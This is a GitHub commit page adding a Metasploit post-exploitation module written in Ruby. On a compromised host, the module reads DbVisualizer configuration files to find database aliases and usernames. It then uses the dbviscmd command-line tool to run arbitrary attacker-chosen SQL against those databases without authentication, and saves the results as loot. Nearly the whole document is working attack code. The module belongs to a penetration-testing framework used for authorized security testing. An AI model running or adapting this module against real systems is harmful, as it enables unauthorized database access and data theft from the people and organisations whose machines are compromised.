Skip to content

Commit 73e665b

Browse files
committed
Land rapid7#3542 - Multi Manage DbVisualizer Query
2 parents fe0b6fa + fbbaaf2 commit 73e665b

File tree

1 file changed

+220
-0
lines changed

1 file changed

+220
-0
lines changed
Lines changed: 220 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,220 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/auxiliary/report'
8+
9+
class Metasploit3 < Msf::Post
10+
11+
include Msf::Post::File
12+
include Msf::Post::Unix
13+
14+
def initialize(info={})
15+
super( update_info( info,
16+
'Name' => 'Multi Manage DbVisualizer Query',
17+
'Description' => %q{
18+
Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases
19+
(With GUI). The remote database can be accessed from the command line without the need
20+
to authenticate, and this module abuses this functionality to query and will store the
21+
results.
22+
23+
Please note: backslash quotes and your (stacked or not) queries should
24+
end with a semicolon.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
28+
'References' =>
29+
[
30+
['URL', 'http://youtu.be/0LCLRVHX1vA']
31+
],
32+
'Platform' => %w{ linux win },
33+
'SessionTypes' => [ 'meterpreter' ]
34+
))
35+
register_options(
36+
[
37+
OptString.new('DBALIAS', [true,'Use dbvis_enum module to find out databases and aliases', 'localhost']),
38+
OptString.new('QUERY', [true,'The query you want to execute on the remote database', '']),
39+
], self.class)
40+
41+
end
42+
43+
def run
44+
db_type = exist_and_supported()
45+
unless db_type.blank?
46+
dbvis = find_dbviscmd()
47+
unless dbvis.blank?
48+
dbvis_query(dbvis,datastore['QUERY'])
49+
end
50+
end
51+
end
52+
53+
# Check if the alias exist and if database is supported by this script
54+
def exist_and_supported()
55+
case session.platform
56+
when /linux/
57+
user = session.shell_command("whoami")
58+
print_status("Current user is #{user}")
59+
if (user =~ /root/)
60+
user_base = "/root/"
61+
else
62+
user_base = "/home/#{user}/"
63+
end
64+
dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
65+
when /win/
66+
user_profile = session.sys.config.getenv('USERPROFILE')
67+
dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml"
68+
end
69+
70+
unless file?(dbvis_file)
71+
#File not found, we next try with the old config path
72+
print_status("File not found: #{dbvis_file}")
73+
print_status("This could be an older version of dbvis, trying old path")
74+
case session.platform
75+
when /linux/
76+
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
77+
when /win/
78+
dbvis_file = "#{user_profile }\\.dbvis\\config\\dbvis.xml"
79+
end
80+
unless file?(dbvis_file)
81+
print_error("File not found: #{dbvis_file}")
82+
return
83+
end
84+
old_version = true
85+
end
86+
87+
print_status("Reading : #{dbvis_file}" )
88+
raw_xml = ""
89+
begin
90+
raw_xml = read_file(dbvis_file)
91+
rescue EOFError
92+
# If there's nothing in the file, we hit EOFError
93+
print_error("Nothing read from file: #{dbvis_file}, file may be empty")
94+
return
95+
end
96+
97+
db_found = false
98+
alias_found = false
99+
db_type = nil
100+
db_type_ok = false
101+
102+
# fetch config file
103+
raw_xml.each_line do |line|
104+
105+
if line =~ /<Database id=/
106+
db_found = true
107+
elsif line =~ /<\/Database>/
108+
db_found = false
109+
end
110+
111+
if db_found == true
112+
113+
# checkthe alias
114+
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
115+
if datastore['DBALIAS'] == $1
116+
alias_found = true
117+
print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml")
118+
end
119+
end
120+
121+
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
122+
if alias_found
123+
print_good("Username for this connection : #{$1}")
124+
end
125+
end
126+
127+
# check the type
128+
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
129+
if alias_found
130+
db_type = $1
131+
alias_found = false
132+
end
133+
end
134+
end
135+
end
136+
if db_type.blank?
137+
print_error("Database alias not found in dbvis.xml")
138+
end
139+
return db_type # That is empty if DB is not supported
140+
end
141+
142+
# Find path to dbviscmd.sh|bat
143+
def find_dbviscmd
144+
case session.platform
145+
when /linux/
146+
dbvis = session.shell_command("locate dbviscmd.sh").chomp
147+
if dbvis.chomp == ""
148+
print_error("dbviscmd.sh not found")
149+
return nil
150+
else
151+
print_good("Dbviscmd found : #{dbvis}")
152+
end
153+
when /win/
154+
# Find program files
155+
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
156+
progfiles_x86 = progfiles_env['ProgramFiles(X86)']
157+
if not progfiles_x86.blank? and progfiles_x86 !~ /%ProgramFiles\(X86\)%/
158+
program_files = progfiles_x86 # x64
159+
else
160+
program_files = progfiles_env['ProgramFiles'] # x86
161+
end
162+
dirs = []
163+
session.fs.dir.foreach(program_files) do |d|
164+
dirs << d
165+
end
166+
dbvis_home_dir = nil
167+
#Browse program content to find a possible dbvis home
168+
dirs.each do |d|
169+
if (d =~ /DbVisualizer[\S+\s+]+/i)
170+
dbvis_home_dir = d
171+
end
172+
end
173+
if dbvis_home_dir.blank?
174+
print_error("Dbvis home not found, maybe uninstalled ?")
175+
return nil
176+
end
177+
dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat"
178+
unless file?(dbvis)
179+
print_error("dbviscmd.bat not found")
180+
return nil
181+
end
182+
print_good("Dbviscmd found : #{dbvis}")
183+
end
184+
return dbvis
185+
end
186+
187+
# Query execution method
188+
def dbvis_query(dbvis,sql)
189+
error = false
190+
resp = ''
191+
if file?(dbvis) == true
192+
f = session.fs.file.stat(dbvis)
193+
if f.uid == Process.euid or Process.groups.include?f.gid
194+
print_status("Trying to execute evil sql, it can take time ...")
195+
args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\""
196+
dbvis = "\"#{dbvis}\""
197+
cmd = "#{dbvis} #{args}"
198+
resp = cmd_exec(cmd)
199+
print_line("")
200+
print_line("#{resp}")
201+
# store qury and result
202+
p = store_loot(
203+
"dbvis.query",
204+
"text/plain",
205+
session,
206+
resp.to_s,
207+
"dbvis_query.txt",
208+
"dbvis query")
209+
print_good("Query stored in: #{p.to_s}")
210+
else
211+
print_error("User doesn't have enough rights to execute dbviscmd, aborting")
212+
end
213+
else
214+
print_error("#{dbvis} is not a file")
215+
end
216+
return error
217+
end
218+
219+
end
220+

0 commit comments

Comments
 (0)